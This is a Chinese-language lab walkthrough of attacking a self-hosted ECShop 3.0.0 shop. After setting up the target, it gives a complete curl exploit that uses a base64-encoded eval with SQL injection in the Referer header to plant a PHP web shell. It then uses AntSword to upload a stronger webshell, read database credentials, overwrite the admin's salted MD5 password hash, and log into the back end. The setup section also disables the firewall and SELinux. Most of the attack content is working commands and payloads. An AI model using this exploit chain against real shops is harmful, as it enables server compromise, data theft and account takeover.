文章目录
- 一、靶场搭建
- 二、开始信息收集,寻找漏洞
- 三、使用蚁剑连接后门程序
- 四、使用webshell查看数据库信息
- 五、进入网站后台
实验环境
Kali
CentOs
一、靶场搭建
CentOsIP地址192.168.64.159
#关闭centos防火墙
[root@localhost ~]# systemctl disable --now firewalld
#关闭 selinux
[root@localhost ~]# sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
#重启
[root@localhost ~]#reboot
注:sed 命令是将/etc/selinux/config 文件中的 SELINUX=enforcing 替换成SELINUX=disabled。
修改完需要重启,才能生效
安装 LAMP 环境
[root@localhost ~]# yum -y install httpd mariadb-server mariadb php php-mysql php-gd php-mbstring
修改配置文件httpd.conf
[root@localhost ~]# vim /etc/httpd/conf/httpd.conf
改:95 #ServerName www.example.com:80
新:95:ServerName loaclhost:80
改:164 DirectoryIndex index.html
新:164 DirectoryIndex index.html index.php
wq保存退出
#启动httpd服务
[root@localhost ~]# systemctl enable httpd --now
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
#启动mariadb服务
[root@localhost ~]# systemctl enable mariadb --now
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
#设置数据库账号密码
[root@localhost ~]# mysqladmin -u root password
New password: qwe@@@123456789AAAAAAAAA
Confirm new password: qwe@@@123456789AAAAAAAAA
上传 ecshop 到 linux 主机并解压到网站目录下
#上传
[root@localhost ~]# rz -bey
#解压
[root@localhost ~]# unzip ecshop.zip
#移动
[root@localhost ~]# mv ecshop/* /var/www/html
#给apache用户分配网站的只读权限
[root@localhost ~]# chown -R apache:apache /var/www/html/
Kali 中修改 hosts 文件,加入如下记录
192.168.64.159 www.jd.com.abcgood123.com
浏览器打开http://www.jd.com.abcgood123.com/install/index.php
一直同意,下一步,直到配置系统界面
使用之前配置的数据库账户:root 密码是:qwe@@@123456789AAAAAAAAA
配置一个网站管理员账户:admin 密码是: qwer123456
安装完成后,前往后台管理中心,输入网站管理员用户名,密码,配置一些基本信息
系统设置-支付方式-银行汇款/转帐-编辑
系统设置-配送方式-顺丰速运-安装-设置区域-新建配送区域
删除没有用的的文件:
[root@xuegod63 html]# cd /var/www/html/
[root@xuegod63 html]# mv install/ /opt/
[root@xuegod63 html]# mv demo/ /opt/
二、开始信息收集,寻找漏洞
kali修改host文件
┌──(root㉿kali)-[~]
└─# vim /etc/hosts
访问网站,注册账号
打开网站首页,在网页源代码中可以获取到网站框架
whatweb命令可以看到服务器类型,php版本等信息
┌──(root㉿kali)-[~]
└─# whatweb http://www.jd.com.abcgood123.com/
http://www.jd.com.abcgood123.com/ [200 OK] Apache[2.4.6], Cookies[ECS[visit_times],ECS_ID], Country[RESERVED][ZZ], ECShop[3.0.0], HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[192.168.64.159], JQuery[1.11.3], MetaGenerator[ECSHOP v3.0.0], PHP[5.4.16], PoweredBy[ECShop], Script[text/javascript], Title[ECSHOP演示站 - Powered by ECShop], X-Powered-By[PHP/5.4.16]
漏洞可以使用搜索引擎进行搜索
三、使用蚁剑连接后门程序
利用 payload 写入一句话并使用蚁剑连接上传 webshell
curl http://www.jd.com.abcgood123.com/user.php \
-d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \
-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
这段代码是一个使用cURL工具向目标网站发送POST请求的示例。cURL是一个用于传输数据的命令行工具,支持多种协议,如HTTP、FTP等。
这段代码的主要功能是向网站发送一个POST请求,并传递两个参数:action和vulnspy。
- “action=login”:设置action参数为login,这个参数可能是用来标识用户想要执行的操作。
- “vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;”:
- 括号里面的是经过base64解码的
file_put_contents('vulnspy.php','<?php eval($_REQUEST[vulnspy]);');
语句,使用file_put_contents函数将一段PHP代码写入名为vulnspy.php的文件中。这段代码包含一个PHP代码块,这个代码块会在运行时执行传入的vulnspy变量。 eval($_REQUEST[vulnspy]);
:这是一个PHP函数,用于执行传入的PHP代码。在这个例子中,vulnspy是一个变量,它的值应该是一段PHP代码。当这段代码被执行时,它会执行vulnspy变量中的PHP代码。- Referer字段中携带了sql注入。
使用 rz 命令上传AntSword-Loader-v4.0.3-linux-x64.zip、antSword- master.zip 和 webshell2.php到Kali
┌──(root㉿kali)-[~]
└─# rz -bey
┌──(root㉿kali)-[~]
└─# unzip AntSword-Loader-v4.0.3-linux-x64.zip
┌──(root㉿kali)-[~]
└─# unzip antSword-master.zip
启动蚁剑加载器
┌──(root㉿kali)-[~]
└─# cd AntSword-Loader-v4.0.3-linux-x64
┌──(root㉿kali)-[~/AntSword-Loader-v4.0.3-linux-x64]
└─# ./AntSword
首次打开加载器时,界面如下图所示:
点击「初始化」按钮,进入到antSword-master文件夹中,点击右下方OK
重新打开蚁剑加载器,即可看到蚁剑的主界面。在空白处单击鼠标右键,点击 添加数据
URL 地址:http://www.jd.com.abcgood123.com/vulnspy.php
连接密码:vulnspy
点击添加
双击点开我们添加的地址进入到网站目录中,上传功能更强大的木马文件 webshell2.php 到 temp 目录下
浏览器打开http://www.jd.com.abcgood123.com/temp/webshell2.php进入到webshell窗口
四、使用webshell查看数据库信息
找到config.php 然后点右边的edit 打开文件
可以看到数据库信息
连接数据库
找到admin_user数据库
可以看到靶场的管理员信息
密码使用了md5加密,Salt就是盐,盐就是一个随机生成的字符串。简而言之,加盐是为了增加密码的安全性。密码使用了MD5加密,而盐则是一个随机生成的字符串。在密码存储时,系统将盐与原始密码连接在一起,然后对连接后的字符串进行加密。由于盐是系统随机生成的且每个用户的盐不同,即使两个用户使用相同的密码,其散列值也是不同的。这样做可以防止黑客通过散列值字典等方式破解密码。
具体操作上,用户在首次提供密码(通常是注册时),系统会自动添加一些盐,然后进行散列。当用户登录时,系统会为用户提供的密码添加相同的盐,再进行散列,最后比较散列值以确定密码是否正确。这种方式提高了密码的安全性,因为即使攻击者获得了一个用户的散列值,由于盐的存在,无法直接在字典中查找对应的密码。
记录下来pwd和salt
pwd:5ac84bb56649b2eac8e0f56d0afe5152
salt:9044
可以利用自己生成的散列值来替换原本密码的散列值
┌──(root㉿kali)-[~]
└─# echo -n 123456|md5sum
e10adc3949ba59abbe56e057f20f883e -
#利用php语言输出加盐后的散列值
[root@xuegod63 ~]# php -r 'echo md5("e10adc3949ba59abbe56e057f20f883e"."9044");'
d7cdb1e266cd7e920683b27eaa190fba
回到webshell,SQL语句替换,点击查询
update xo_admin_user set password ="d7cdb1e266cd7e920683b27eaa190fba" where user_id =1
五、进入网站后台
开始扫描 网站后台地址:
┌──(root㉿kali)-[~]
└─# dirb http://www.jd.com.abcgood123.com -o jd.com.txt
┌──(root㉿kali)-[~]
└─# vim jd.com.txt
点击第一个,跳转到了后台登录界面,输入数据库获取的用户名admin以及自己设置的密码123456,成功进入后台